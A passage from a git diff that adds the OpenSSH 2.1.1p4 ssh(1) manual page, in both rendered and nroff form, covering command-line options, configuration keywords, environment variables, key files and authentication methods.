blowfish is a fast block cipher, it ap- + pears very secure and is much faster than 3des. + + -c 3des-cbc,blowfish-cbc,arcfour,cast128-cbc + Additionally, for protocol version 2 a comma-separated list of + ciphers can be specified in order of preference. Protocol version + 2 supports 3DES, Blowfish and CAST128 in CBC mode and Arcfour. + + -e ch|^ch|none + Sets the escape character for sessions with a pty (default: `~'). + The escape character is only recognized at the beginning of a + line. The escape character followed by a dot (`.') closes the + connection, followed by control-Z suspends the connection, and + followed by itself sends the escape character once. Setting the + character to ``none'' disables any escapes and makes the session + fully transparent. + + -f Requests ssh to go to background just before command execution. + This is useful if ssh is going to ask for passwords or passphras- + es, but the user wants it in the background. This implies -n. + The recommended way to start X11 programs at a remote site is + with something like ssh -f host xterm. + + -g Allows remote hosts to connect to local forwarded ports. + + -i identity_file + Selects the file from which the identity (private key) for RSA + authentication is read. Default is $HOME/.ssh/identity in the + user's home directory. Identity files may also be specified on a + per-host basis in the configuration file. It is possible to have + multiple -i options (and multiple identities specified in config- + uration files). + + -k Disables forwarding of Kerberos tickets and AFS tokens. This may + also be specified on a per-host basis in the configuration file. + + -l login_name + Specifies the user to log in as on the remote machine. This also + may be specified on a per-host basis in the configuration file. + + -n Redirects stdin from /dev/null (actually, prevents reading from + stdin). This must be used when ssh is run in the background. A + common trick is to use this to run X11 programs on a remote ma- + chine. For example, ssh -n shadows.cs.hut.fi emacs & will start + an emacs on shadows.cs.hut.fi, and the X11 connection will be au- + tomatically forwarded over an encrypted channel. The ssh program + will be put in the background. (This does not work if ssh needs + to ask for a password or passphrase; see also the -f option.) + + -N Do not execute a remote command. This is usefull if you just + want to forward ports (protocol version 2 only). + + -o option + Can be used to give options in the format used in the config + file. This is useful for specifying options for which there is + no separate command-line flag. The option has the same format as + a line in the configuration file. + + -p port + Port to connect to on the remote host. This can be specified on + a per-host basis in the configuration file. + + -P Use a non-privileged port for outgoing connections. This can be + used if your firewall does not permit connections from privileged + ports. Note that this option turns off RhostsAuthentication and + RhostsRSAAuthentication. + + -q Quiet mode. Causes all warning and diagnostic messages to be + suppressed. Only fatal errors are displayed. + + -t Force pseudo-tty allocation. This can be used to execute arbi- + trary screen-based programs on a remote machine, which can be + very useful, e.g., when implementing menu services. + + -T Disable pseudo-tty allocation (protocol version 2 only). + + -v Verbose mode. Causes ssh to print debugging messages about its + progress. This is helpful in debugging connection, authentica- + tion, and configuration problems. The verbose mode is also used + to display skey(1) challenges, if the user entered "s/key" as + password. + + -x Disables X11 forwarding. + + -X Enables X11 forwarding. This can also be specified on a per-host + basis in a configuration file. + + -C Requests compression of all data (including stdin, stdout, + stderr, and data for forwarded X11 and TCP/IP connections). The + compression algorithm is the same used by gzip(1), and the + ``level'' can be controlled by the CompressionLevel option (see + below). Compression is desirable on modem lines and other slow + connections, but will only slow down things on fast networks. + The default value can be set on a host-by-host basis in the con- + figuration files; see the Compress option below. + + -L port:host:hostport + Specifies that the given port on the local (client) host is to be + forwarded to the given host and port on the remote side. This + works by allocating a socket to listen to port on the local side, + and whenever a connection is made to this port, the connection is + forwarded over the secure channel, and a connection is made to + host port hostport from the remote machine. Port forwardings can + also be specified in the configuration file. Only root can for- + ward privileged ports. IPv6 addresses can be specified with an + alternative syntax: port/host/hostport + + -R port:host:hostport + Specifies that the given port on the remote (server) host is to + be forwarded to the given host and port on the local side. This + works by allocating a socket to listen to port on the remote + side, and whenever a connection is made to this port, the connec- + tion is forwarded over the secure channel, and a connection is + made to host port hostport from the local machine. Port forward- + ings can also be specified in the configuration file. Privileged + ports can be forwarded only when logging in as root on the remote + machine. + + -2 Forces ssh to try protocol version 2 only. + + -4 Forces ssh to use IPv4 addresses only. + + -6 Forces ssh to use IPv6 addresses only. + +CONFIGURATION FILES + ssh obtains configuration data from the following sources (in this or- + der): command line options, user's configuration file + ($HOME/.ssh/config), and system-wide configuration file + (/etc/ssh_config). For each parameter, the first obtained value will be + used. The configuration files contain sections bracketed by ``Host'' + specifications, and that section is only applied for hosts that match one + of the patterns given in the specification. The matched host name is the + one given on the command line. + + Since the first obtained value for each parameter is used, more host-spe- + cific declarations should be given near the beginning of the file, and + general defaults at the end. + + The configuration file has the following format: + + Empty lines and lines starting with `#' are comments. + + Otherwise a line is of the format ``keyword arguments''. The possible + keywords and their meanings are as follows (note that the configuration + files are case-sensitive): + + Host Restricts the following declarations (up to the next Host key- + word) to be only for those hosts that match one of the patterns + given after the keyword. `*' and `?' can be used as wildcards in + the patterns. A single `*' as a pattern can be used to provide + global defaults for all hosts. The host is the hostname argument + given on the command line (i.e., the name is not converted to a + canonicalized host name before matching). + + AFSTokenPassing + Specifies whether to pass AFS tokens to remote host. The argu- + ment to this keyword must be ``yes'' or ``no''. + + BatchMode + If set to ``yes'', passphrase/password querying will be disabled. + This option is useful in scripts and other batch jobs where you + have no user to supply the password. The argument must be + ``yes'' or ``no''. + + CheckHostIP + If this flag is set to ``yes'', ssh will additionally check the + host ip address in the known_hosts file. This allows ssh to de- + tect if a host key changed due to DNS spoofing. If the option is + set to ``no'', the check will not be executed. + + Cipher Specifies the cipher to use for encrypting the session. Current- + ly, ``blowfish'', and ``3des'' are supported. The default is + ``3des''. + + Ciphers + Specifies the ciphers allowed for protocol version 2 in order of + preference. Multiple ciphers must be comma-separated. The de- + fault is ``3des-cbc,blowfish-cbc,arcfour,cast128-cbc''. + + Compression + Specifies whether to use compression. The argument must be + ``yes'' or ``no''. + + CompressionLevel + Specifies the compression level to use if compression is enable. + The argument must be an integer from 1 (fast) to 9 (slow, best). + The default level is 6, which is good for most applications. The + meaning of the values is the same as in gzip(1). + + ConnectionAttempts + Specifies the number of tries (one per second) to make before + falling back to rsh or exiting. The argument must be an integer. + This may be useful in scripts if the connection sometimes fails. + + DSAAuthentication + Specifies whether to try DSA authentication. The argument to + this keyword must be ``yes'' or ``no''. DSA authentication will + only be attempted if a DSA identity file exists. Note that this + option applies to protocol version 2 only. + + EscapeChar + Sets the escape character (default: `~'). The escape character + can also be set on the command line. The argument should be a + single character, `^' followed by a letter, or ``none'' to dis- + able the escape character entirely (making the connection trans- + parent for binary data). + + FallBackToRsh + Specifies that if connecting via ssh fails due to a connection + refused error (there is no sshd(8) listening on the remote host), + rsh(1) should automatically be used instead (after a suitable + warning about the session being unencrypted). The argument must + be ``yes'' or ``no''. + + ForwardAgent + Specifies whether the connection to the authentication agent (if + any) will be forwarded to the remote machine. The argument must + be ``yes'' or ``no''. The default is ``no''. + + ForwardX11 + Specifies whether X11 connections will be automatically redirect- + ed over the secure channel and DISPLAY set. The argument must be + ``yes'' or ``no''. The default is ``no''. + + GatewayPorts + Specifies whether remote hosts are allowed to connect to local + forwarded ports. The argument must be ``yes'' or ``no''. The de- + fault is ``no''. + + GlobalKnownHostsFile + Specifies a file to use instead of /etc/ssh_known_hosts. + + HostName + Specifies the real host name to log into. This can be used to + specify nicknames or abbreviations for hosts. Default is the + name given on the command line. Numeric IP addresses are also + permitted (both on the command line and in HostName specifica- + tions). + + IdentityFile + Specifies the file from which the user's RSA authentication iden- + tity is read (default $HOME/.ssh/identity in the user's home di- + rectory). Additionally, any identities represented by the au- + thentication agent will be used for authentication. The file + name may use the tilde syntax to refer to a user's home directo- + ry. It is possible to have multiple identity files specified in + configuration files; all these identities will be tried in se- + quence. + + IdentityFile2 + Specifies the file from which the user's DSA authentication iden- + tity is read (default $HOME/.ssh/id_dsa in the user's home direc- + tory). The file name may use the tilde syntax to refer to a us- + er's home directory. It is possible to have multiple identity + files specified in configuration files; all these identities will + be tried in sequence. + + KeepAlive + Specifies whether the system should send keepalive messages to + the other side. If they are sent, death of the connection or + crash of one of the machines will be properly noticed. However, + this means that connections will die if the route is down tem- + porarily, and some people find it annoying. + + The default is ``yes'' (to send keepalives), and the client will + notice if the network goes down or the remote host dies. This is + important in scripts, and many users want it too. + + To disable keepalives, the value should be set to ``no'' in both + the server and the client configuration files. + + KerberosAuthentication + Specifies whether Kerberos authentication will be used. The ar- + gument to this keyword must be ``yes'' or ``no''. + + KerberosTgtPassing + Specifies whether a Kerberos TGT will be forwarded to the server. + This will only work if the Kerberos server is actually an AFS + kaserver. The argument to this keyword must be ``yes'' or + ``no''. + + LocalForward + Specifies that a TCP/IP port on the local machine be forwarded + over the secure channel to given host:port from the remote ma- + chine. The first argument must be a port number, and the second + must be host:port. Multiple forwardings may be specified, and + additional forwardings can be given on the command line. Only + the superuser can forward privileged ports. + + LogLevel + Gives the verbosity level that is used when logging messages from + ssh. The possible values are: QUIET, FATAL, ERROR, INFO, VERBOSE + and DEBUG. The default is INFO. + + NumberOfPasswordPrompts + Specifies the number of password prompts before giving up. The + argument to this keyword must be an integer. Default is 3. + + PasswordAuthentication + Specifies whether to use password authentication. The argument + to this keyword must be ``yes'' or ``no''. Note that this option + applies to both protocol version 1 and 2. + + Port Specifies the port number to connect on the remote host. Default + is 22. + + Protocol + Specifies the protocol versions ssh should support in order of + preference. The possible values are ``1'' and ``2''. Multiple + versions must be comma-separated. The default is ``1,2''. This + means that ssh tries version 1 and falls back to version 2 if + version 1 is not available. + + ProxyCommand + Specifies the command to use to connect to the server. The com- + mand string extends to the end of the line, and is executed with + /bin/sh. In the command string, `%h' will be substituted by the + host name to connect and `%p' by the port. The command can be + basically anything, and should read from its standard input and + write to its standard output. It should eventually connect an + sshd(8) server running on some machine, or execute sshd -i some- + where. Host key management will be done using the HostName of + the host being connected (defaulting to the name typed by the us- + er). Note that CheckHostIP is not available for connects with a + proxy command. + + + + + RemoteForward + Specifies that a TCP/IP port on the remote machine be forwarded + over the secure channel to given host:port from the local ma- + chine. The first argument must be a port number, and the second + must be host:port. Multiple forwardings may be specified, and + additional forwardings can be given on the command line. Only + the superuser can forward privileged ports. + + RhostsAuthentication + Specifies whether to try rhosts based authentication. Note that + this declaration only affects the client side and has no effect + whatsoever on security. Disabling rhosts authentication may re- + duce authentication time on slow connections when rhosts authen- + tication is not used. Most servers do not permit RhostsAuthenti- + cation because it is not secure (see RhostsRSAAuthentication). + The argument to this keyword must be ``yes'' or ``no''. + + RhostsRSAAuthentication + Specifies whether to try rhosts based authentication with RSA + host authentication. This is the primary authentication method + for most sites. The argument must be ``yes'' or ``no''. + + RSAAuthentication + Specifies whether to try RSA authentication. The argument to + this keyword must be ``yes'' or ``no''. RSA authentication will + only be attempted if the identity file exists, or an authentica- + tion agent is running. Note that this option applies to protocol + version 1 only. + + SkeyAuthentication + Specifies whether to use skey(1) authentication. The argument to + this keyword must be ``yes'' or ``no''. The default is ``no''. + + StrictHostKeyChecking + If this flag is set to ``yes'', ssh ssh will never automatically + add host keys to the $HOME/.ssh/known_hosts and + $HOME/.ssh/known_hosts2 files, and refuses to connect hosts whose + host key has changed. This provides maximum protection against + trojan horse attacks. However, it can be somewhat annoying if + you don't have good /etc/ssh_known_hosts and + /etc/ssh_known_hosts2 files installed and frequently connect new + hosts. Basically this option forces the user to manually add any + new hosts. Normally this option is disabled, and new hosts will + automatically be added to the known host files. The host keys of + known hosts will be verified automatically in either case. The + argument must be ``yes'' or ``no''. + + UsePrivilegedPort + Specifies whether to use a privileged port for outgoing connec- + tions. The argument must be ``yes'' or ``no''. The default is + ``yes''. Note that setting this option to ``no'' turns off + RhostsAuthentication and RhostsRSAAuthentication. + + User Specifies the user to log in as. This can be useful if you have + a different user name on different machines. This saves the + trouble of having to remember to give the user name on the com- + mand line. + + UserKnownHostsFile + Specifies a file to use instead of $HOME/.ssh/known_hosts. + + UseRsh Specifies that rlogin/rsh should be used for this host. It is + possible that the host does not at all support the ssh protocol. + This causes ssh to immediately execute rsh(1). All other options + (except HostName) are ignored if this has been specified. The + argument must be ``yes'' or ``no''. + + XAuthLocation + Specifies the location of the xauth(1) program. The default is + /usr/X11R6/bin/xauth. + +ENVIRONMENT + ssh will normally set the following environment variables: + + DISPLAY + The DISPLAY variable indicates the location of the X11 server. + It is automatically set by ssh to point to a value of the form + ``hostname:n'' where hostname indicates the host where the shell + runs, and n is an integer >= 1. ssh uses this special value to + forward X11 connections over the secure channel. The user should + normally not set DISPLAY explicitly, as that will render the X11 + connection insecure (and will require the user to manually copy + any required authorization cookies). + + HOME Set to the path of the user's home directory. + + LOGNAME + Synonym for USER; set for compatibility with systems that use + this variable. + + MAIL Set to point the user's mailbox. + + PATH Set to the default PATH, as specified when compiling ssh. + + SSH_AUTH_SOCK + indicates the path of a unix-domain socket used to communicate + with the agent. + + SSH_CLIENT + Identifies the client end of the connection. The variable con- + tains three space-separated values: client ip-address, client + port number, and server port number. + + SSH_TTY + This is set to the name of the tty (path to the device) associat- + ed with the current shell or command. If the current session has + no tty, this variable is not set. + + TZ The timezone variable is set to indicate the present timezone if + it was set when the daemon was started (e.i., the daemon passes + the value on to new connections). + + USER Set to the name of the user logging in. + + Additionally, ssh reads $HOME/.ssh/environment, and adds lines of the + format ``VARNAME=value'' to the environment. + +FILES + $HOME/.ssh/known_hosts + Records host keys for all hosts the user has logged into (that + are not in /etc/ssh_known_hosts). See sshd(8). + + $HOME/.ssh/identity, $HOME/.ssh/id_dsa + Contains the RSA and the DSA authentication identity of the user. + These files contain sensitive data and should be readable by the + user but not accessible by others (read/write/execute). Note + that ssh ignores a private key file if it is accessible by oth- + ers. It is possible to specify a passphrase when generating the + key; the passphrase will be used to encrypt the sensitive part of + + this file using 3DES. + + $HOME/.ssh/identity.pub, $HOME/.ssh/id_dsa.pub + Contains the public key for authentication (public part of the + identity file in human-readable form). The contents of the + $HOME/.ssh/identity.pub file should be added to + $HOME/.ssh/authorized_keys on all machines where you wish to log + in using RSA authentication. The contents of the + $HOME/.ssh/id_dsa.pub file should be added to + $HOME/.ssh/authorized_keys2 on all machines where you wish to log + in using DSA authentication. These files are not sensitive and + can (but need not) be readable by anyone. These files are never + used automatically and are not necessary; they is only provided + for the convenience of the user. + + $HOME/.ssh/config + This is the per-user configuration file. The format of this file + is described above. This file is used by the ssh client. This + file does not usually contain any sensitive information, but the + recommended permissions are read/write for the user, and not ac- + cessible by others. + + $HOME/.ssh/authorized_keys + Lists the RSA keys that can be used for logging in as this user. + The format of this file is described in the sshd(8) manual page. + In the simplest form the format is the same as the .pub identity + files (that is, each line contains the number of bits in modulus, + public exponent, modulus, and comment fields, separated by + spaces). This file is not highly sensitive, but the recommended + permissions are read/write for the user, and not accessible by + others. + + $HOME/.ssh/authorized_keys2 + Lists the DSA keys that can be used for logging in as this user. + This file is not highly sensitive, but the recommended permis- + sions are read/write for the user, and not accessible by others. + + /etc/ssh_known_hosts, /etc/ssh_known_hosts2 + Systemwide list of known host keys. /etc/ssh_known_hosts con- + tains RSA and /etc/ssh_known_hosts2 contains DSA keys. These + files should be prepared by the system administrator to contain + the public host keys of all machines in the organization. This + file should be world-readable. This file contains public keys, + one per line, in the following format (fields separated by + spaces): system name, number of bits in modulus, public exponent, + modulus, and optional comment field. When different names are + used for the same machine, all such names should be listed, sepa- + rated by commas. The format is described on the sshd(8) manual + page. + + The canonical system name (as returned by name servers) is used + by sshd(8) to verify the client host when logging in; other names + are needed because ssh does not convert the user-supplied name to + a canonical name before checking the key, because someone with + access to the name servers would then be able to fool host au- + thentication. + + /etc/ssh_config + Systemwide configuration file. This file provides defaults for + those values that are not specified in the user's configuration + file, and for those users who do not have a configuration file. + This file must be world-readable. + + $HOME/.rhosts + This file is used in .rhosts authentication to list the host/user + pairs that are permitted to log in. (Note that this file is also + used by rlogin and rsh, which makes using this file insecure.) + Each line of the file contains a host name (in the canonical form + returned by name servers), and then a user name on that host, + separated by a space. One some machines this file may need to be + world-readable if the user's home directory is on a NFS parti- + tion, because sshd(8) reads it as root. Additionally, this file + must be owned by the user, and must not have write permissions + for anyone else. The recommended permission for most machines is + read/write for the user, and not accessible by others. + + Note that by default sshd(8) will be installed so that it re- + quires successful RSA host authentication before permitting + .rhosts authentication. If your server machine does not have the + client's host key in /etc/ssh_known_hosts, you can store it in + $HOME/.ssh/known_hosts. The easiest way to do this is to connect + back to the client from the server machine using ssh; this will + automatically add the host key to $HOME/.ssh/known_hosts. + + $HOME/.shosts + This file is used exactly the same way as .rhosts. The purpose + for having this file is to be able to use rhosts authentication + with ssh without permitting login with rlogin(1) or rsh(1). + + /etc/hosts.equiv + This file is used during .rhosts authentication. It contains + canonical hosts names, one per line (the full format is described + on the sshd(8) manual page). If the client host is found in this + file, login is automatically permitted provided client and server + user names are the same. Additionally, successful RSA host au- + thentication is normally required. This file should only be + writable by root. + + /etc/shosts.equiv + This file is processed exactly as /etc/hosts.equiv. This file may + be useful to permit logins using ssh but not using rsh/rlogin. + + /etc/sshrc + Commands in this file are executed by ssh when the user logs in + just before the user's shell (or command) is started. See the + sshd(8) manual page for more information. + + $HOME/.ssh/rc + Commands in this file are executed by ssh when the user logs in + just before the user's shell (or command) is started. See the + sshd(8) manual page for more information. + + $HOME/.ssh/environment + Contains additional definitions for environment variables, see + section ENVIRONMENT above. + + libcrypto.so.X.1 + A version of this library which includes support for the RSA al- + gorithm is required for proper operation. + +AUTHOR + OpenSSH is a derivative of the original (free) ssh 1.2.12 release by Tatu + Ylonen, but with bugs removed and newer features re-added. Rapidly after + the 1.2.12 release, newer versions of the original ssh bore successively + more restrictive licenses, and thus demand for a free version was born. + + This version of OpenSSH + + o has all components of a restrictive nature (i.e., patents) directly + removed from the source code; any licensed or patented components are + + + chosen from external libraries. + + o has been updated to support SSH protocol 1.5 and 2, making it compat- + ible with all other SSH clients and servers. + + o contains added support for kerberos(8) authentication and ticket + passing. + + o supports one-time password authentication with skey(1). + + OpenSSH has been created by Aaron Campbell, Bob Beck, Markus Friedl, + Niels Provos, Theo de Raadt, and Dug Song. + + The support for SSH protocol 2 was written by Markus Friedl. + +SEE ALSO + rlogin(1), rsh(1), scp(1), ssh-add(1), ssh-agent(1), ssh-keygen(1), + telnet(1), sshd(8), + +BSD Experimental September 25, 1999 13 diff --git a/other/openssh-2.1.1p4/ssh.1 b/other/openssh-2.1.1p4/ssh.1 new file mode 100644 index 0000000..905ebe0 --- /dev/null +++ b/other/openssh-2.1.1p4/ssh.1 @@ -0,0 +1,1231 @@ +.\" -*- nroff -*- +.\" +.\" ssh.1.in +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sat Apr 22 21:55:14 1995 ylo +.\" +.\" $Id: ssh.1,v 1.55 2000/05/31 06:36:40 markus Exp $ +.\" +.Dd September 25, 1999 +.Dt SSH 1 +.Os +.Sh NAME +.Nm ssh +.Nd OpenSSH secure shell client (remote login program) +.Sh SYNOPSIS +.Nm ssh +.Op Fl l Ar login_name +.Op Ar hostname | user@hostname +.Op Ar command +.Pp +.Nm ssh +.Op Fl afgknqtvxACNPTX246 +.Op Fl c Ar cipher_spec +.Op Fl e Ar escape_char +.Op Fl i Ar identity_file +.Op Fl l Ar login_name +.Op Fl o Ar option +.Op Fl p Ar port +.Oo Fl L Xo +.Sm off +.Ar port : +.Ar host : +.Ar hostport +.Sm on +.Xc +.Oc +.Oo Fl R Xo +.Sm off +.Ar port : +.Ar host : +.Ar hostport +.Sm on +.Xc +.Oc +.Op Ar hostname | user@hostname +.Op Ar command +.Sh DESCRIPTION +.Nm +(Secure Shell) is a program for logging into a remote machine and for +executing commands on a remote machine. +It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. +X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. +.Pp +.Nm +connects and logs into the specified +.Ar hostname . +The user must prove +his/her identity to the remote machine using one of several methods +depending on the protocol version used: +.Pp +.Ss SSH protocol version 1 +.Pp +First, if the machine the user logs in from is listed in +.Pa /etc/hosts.equiv +or +.Pa /etc/shosts.equiv +on the remote machine, and the user names are +the same on both sides, the user is immediately permitted to log in. +Second, if +.Pa \&.rhosts +or +.Pa \&.shosts +exists in the user's home directory on the +remote machine and contains a line containing the name of the client +machine and the name of the user on that machine, the user is +permitted to log in. +This form of authentication alone is normally not +allowed by the server because it is not secure. +.Pp +The second (and primary) authentication method is the +.Pa rhosts +or +.Pa hosts.equiv +method combined with RSA-based host authentication. +It means that if the login would be permitted by +.Pa $HOME/.rhosts , +.Pa $HOME/.shosts , +.Pa /etc/hosts.equiv , +or +.Pa /etc/shosts.equiv , +and if additionally the server can verify the client's +host key (see +.Pa /etc/ssh_known_hosts +and +.Pa $HOME/.ssh/known_hosts +in the +.Sx FILES +section), only then login is permitted. +This authentication method closes security holes due to IP +spoofing, DNS spoofing and routing spoofing. +[Note to the administrator: +.Pa /etc/hosts.equiv , +.Pa $HOME/.rhosts , +and the rlogin/rsh protocol in general, are inherently insecure and should be +disabled if security is desired.] +.Pp +As a third authentication method, +.Nm +supports RSA based authentication. +The scheme is based on public-key cryptography: there are cryptosystems +where encryption and decryption are done using separate keys, and it +is not possible to derive the decryption key from the encryption key. +RSA is one such system. +The idea is that each user creates a public/private +key pair for authentication purposes. +The server knows the public key, and only the user knows the private key. +The file +.Pa $HOME/.ssh/authorized_keys +lists the public keys that are permitted for logging +in. +When the user logs in, the +.Nm +program tells the server which key pair it would like to use for +authentication. +The server checks if this key is permitted, and if +so, sends the user (actually the +.Nm +program running on behalf of the user) a challenge, a random number, +encrypted by the user's public key. +The challenge can only be +decrypted using the proper private key. +The user's client then decrypts the +challenge using the private key, proving that he/she knows the private +key but without disclosing it to the server. +.Pp +.Nm +implements the RSA authentication protocol automatically. +The user creates his/her RSA key pair by running +.Xr ssh-keygen 1 . +This stores the private key in +.Pa $HOME/.ssh/identity +and the public key in +.Pa $HOME/.ssh/identity.pub +in the user's home directory. +The user should then copy the +.Pa identity.pub +to +.Pa $HOME/.ssh/authorized_keys +in his/her home directory on the remote machine (the +.Pa authorized_keys +file corresponds to the conventional +.Pa $HOME/.rhosts +file, and has one key +per line, though the lines can be very long). +After this, the user can log in without giving the password. +RSA authentication is much +more secure than rhosts authentication. +.Pp +The most convenient way to use RSA authentication may be with an +authentication agent. +See +.Xr ssh-agent 1 +for more information. +.Pp +If other authentication methods fail, +.Nm +prompts the user for a password. +The password is sent to the remote +host for checking; however, since all communications are encrypted, +the password cannot be seen by someone listening on the network. +.Pp +.Ss SSH protocol version 2 +.Pp +When a user connects using the protocol version 2 +different authentication methods are available: +At first, the client attempts to authenticate using the public key method. +If this method fails password authentication is tried. +.Pp +The public key method is similar to RSA authentication described +in the previous section except that the DSA algorithm is used +instead of the patented RSA algorithm. +The client uses his private DSA key +.Pa $HOME/.ssh/id_dsa +to sign the session identifier and sends the result to the server. +The server checks whether the matching public key is listed in +.Pa $HOME/.ssh/authorized_keys2 +and grants access if both the key is found and the signature is correct. +The session identifier is derived from a shared Diffie-Hellman value +and is only known to the client and the server. +.Pp +If public key authentication fails or is not available a password +can be sent encrypted to the remote host for proving the user's identity. +This protocol 2 implementation does not yet support Kerberos or +S/Key authentication. +.Pp +Protocol 2 provides additional mechanisms for confidentiality +(the traffic is encrypted using 3DES, Blowfish, CAST128 or Arcfour) +and integrity (hmac-sha1, hmac-md5). +Note that protocol 1 lacks a strong mechanism for ensuring the +integrity of the connection. +.Pp +.Ss Login session and remote execution +.Pp +When the user's identity has been accepted by the server, the server +either executes the given command, or logs into the machine and gives +the user a normal shell on the remote machine. +All communication with +the remote command or shell will be automatically encrypted. +.Pp +If a pseudo-terminal has been allocated (normal login session), the +user can disconnect with +.Ic ~. , +and suspend +.Nm +with +.Ic ~^Z . +All forwarded connections can be listed with +.Ic ~# +and if +the session blocks waiting for forwarded X11 or TCP/IP +connections to terminate, it can be backgrounded with +.Ic ~& +(this should not be used while the user shell is active, as it can cause the +shell to hang). +All available escapes can be listed with +.Ic ~? . +.Pp +A single tilde character can be sent as +.Ic ~~ +(or by following the tilde by a character other than those described above). +The escape character must always follow a newline to be interpreted as +special. +The escape character can be changed in configuration files +or on the command line. +.Pp +If no pseudo tty has been allocated, the +session is transparent and can be used to reliably transfer binary +data. +On most systems, setting the escape character to +.Dq none +will also make the session transparent even if a tty is used. +.Pp +The session terminates when the command or shell in on the remote +machine exists and all X11 and TCP/IP connections have been closed. +The exit status of the remote program is returned as the exit status +of +.Nm ssh . +.Pp +.Ss X11 and TCP forwarding +.Pp +If the user is using X11 (the +.Ev DISPLAY +environment variable is set), the connection to the X11 display is +automatically forwarded to the remote side in such a way that any X11 +programs started from the shell (or command) will go through the +encrypted channel, and the connection to the real X server will be made +from the local machine. +The user should not manually set +.Ev DISPLAY . +Forwarding of X11 connections can be +configured on the command line or in configuration files. +.Pp +The +.Ev DISPLAY +value set by +.Nm +will point to the server machine, but with a display number greater +than zero. +This is normal, and happens because +.Nm +creates a +.Dq proxy +X server on the server machine for forwarding the +connections over the encrypted channel. +.Pp +.Nm +will also automatically set up Xauthority data on the server machine. +For this purpose, it will generate a random authorization cookie, +store it in Xauthority on the server, and verify that any forwarded +connections carry this cookie and replace it by the real cookie when +the connection is opened. +The real authentication cookie is never +sent to the server machine (and no cookies are sent in the plain). +.Pp +If the user is using an authentication agent, the connection to the agent +is automatically forwarded to the remote side unless disabled on +command line or in a configuration file. +.Pp +Forwarding of arbitrary TCP/IP connections over the secure channel can +be specified either on command line or in a configuration file. +One possible application of TCP/IP forwarding is a secure connection to an +electronic purse; another is going trough firewalls. +.Pp +.Ss Server authentication +.Pp +.Nm +automatically maintains and checks a database containing +identifications for all hosts it has ever been used with. +RSA host keys are stored in +.Pa $HOME/.ssh/known_hosts +and +DSA host keys are stored in +.Pa $HOME/.ssh/known_hosts2 +in the user's home directory. +Additionally, the files +.Pa /etc/ssh_known_hosts +and +.Pa /etc/ssh_known_hosts2 +are automatically checked for known hosts. +Any new hosts are automatically added to the user's file. +If a host's identification +ever changes, +.Nm +warns about this and disables password authentication to prevent a +trojan horse from getting the user's password. +Another purpose of +this mechanism is to prevent man-in-the-middle attacks which could +otherwise be used to circumvent the encryption. +The +.Cm StrictHostKeyChecking +option (see below) can be used to prevent logins to machines whose +host key is not known or has changed. +.Sh OPTIONS +.Bl -tag -width Ds +.It Fl a +Disables forwarding of the authentication agent connection. +.It Fl A +Enables forwarding of the authentication agent connection. +This can also be specified on a per-host basis in a configuration file. +.It Fl c Ar blowfish|3des +Selects the cipher to use for encrypting the session. +.Ar 3des +is used by default. +It is believed to be secure. +.Ar 3des +(triple-des) is an encrypt-decrypt-encrypt triple with three different keys. +It is presumably more secure than the +.Ar des +cipher which is no longer supported in +.Nm ssh . +.Ar blowfish +is a fast block cipher, it appears very secure and is much faster than +.Ar 3des . +.It Fl c Ar "3des-cbc,blowfish-cbc,arcfour,cast128-cbc" +Additionally, for protocol version 2 a comma-separated list of ciphers can +be specified in order of preference. Protocol version 2 supports +3DES, Blowfish and CAST128 in CBC mode and Arcfour. +.It Fl e Ar ch|^ch|none +Sets the escape character for sessions with a pty (default: +.Ql ~ ) . +The escape character is only recognized at the beginning of a line. +The escape character followed by a dot +.Pq Ql \&. +closes the connection, followed +by control-Z suspends the connection, and followed by itself sends the +escape character once. +Setting the character to +.Dq none +disables any escapes and makes the session fully transparent. +.It Fl f +Requests +.Nm +to go to background just before command execution. +This is useful if +.Nm +is going to ask for passwords or passphrases, but the user +wants it in the background. +This implies +.Fl n . +The recommended way to start X11 programs at a remote site is with +something like +.Ic ssh -f host xterm . +.It Fl g +Allows remote hosts to connect to local forwarded ports. +.It Fl i Ar identity_file +Selects the file from which the identity (private key) for +RSA authentication is read. +Default is +.Pa $HOME/.ssh/identity +in the user's home directory. +Identity files may also be specified on +a per-host basis in the configuration file. +It is possible to have multiple +.Fl i +options (and multiple identities specified in +configuration files). +.It Fl k +Disables forwarding of Kerberos tickets and AFS tokens. +This may also be specified on a per-host basis in the configuration file. +.It Fl l Ar login_name +Specifies the user to log in as on the remote machine. +This also may be specified on a per-host basis in the configuration file. +.It Fl n +Redirects stdin from +.Pa /dev/null +(actually, prevents reading from stdin). +This must be used when +.Nm +is run in the background. +A common trick is to use this to run X11 programs on a remote machine. +For example, +.Ic ssh -n shadows.cs.hut.fi emacs & +will start an emacs on shadows.cs.hut.fi, and the X11 +connection will be automatically forwarded over an encrypted channel. +The +.Nm +program will be put in the background. +(This does not work if +.Nm +needs to ask for a password or passphrase; see also the +.Fl f +option.) +.It Fl N +Do not execute a remote command. +This is usefull if you just want to forward ports +(protocol version 2 only). +.It Fl o Ar option +Can be used to give options in the format used in the config file. +This is useful for specifying options for which there is no separate +command-line flag. +The option has the same format as a line in the configuration file. +.It Fl p Ar port +Port to connect to on the remote host. +This can be specified on a +per-host basis in the configuration file. +.It Fl P +Use a non-privileged port for outgoing connections. +This can be used if your firewall does +not permit connections from privileged ports. +Note that this option turns off +.Cm RhostsAuthentication +and +.Cm RhostsRSAAuthentication . +.It Fl q +Quiet mode. +Causes all warning and diagnostic messages to be suppressed. +Only fatal errors are displayed. +.It Fl t +Force pseudo-tty allocation. +This can be used to execute arbitrary +screen-based programs on a remote machine, which can be very useful, +e.g., when implementing menu services. +.It Fl T +Disable pseudo-tty allocation (protocol version 2 only). +.It Fl v +Verbose mode. +Causes +.Nm +to print debugging messages about its progress. +This is helpful in +debugging connection, authentication, and configuration problems. +The verbose mode is also used to display +.Xr skey 1 +challenges, if the user entered "s/key" as password. +.It Fl x +Disables X11 forwarding. +.It Fl X +Enables X11 forwarding. +This can also be specified on a per-host basis in a configuration file. +.It Fl C +Requests compression of all data (including stdin, stdout, stderr, and +data for forwarded X11 and TCP/IP connections). +The compression algorithm is the same used by +.Xr gzip 1 , +and the +.Dq level +can be controlled by the +.Cm CompressionLevel +option (see below). +Compression is desirable on modem lines and other +slow connections, but will only slow down things on fast networks. +The default value can be set on a host-by-host basis in the +configuration files; see the +.Cm Compress +option below. +.It Fl L Ar port:host:hostport +Specifies that the given port on the local (client) host is to be +forwarded to the given 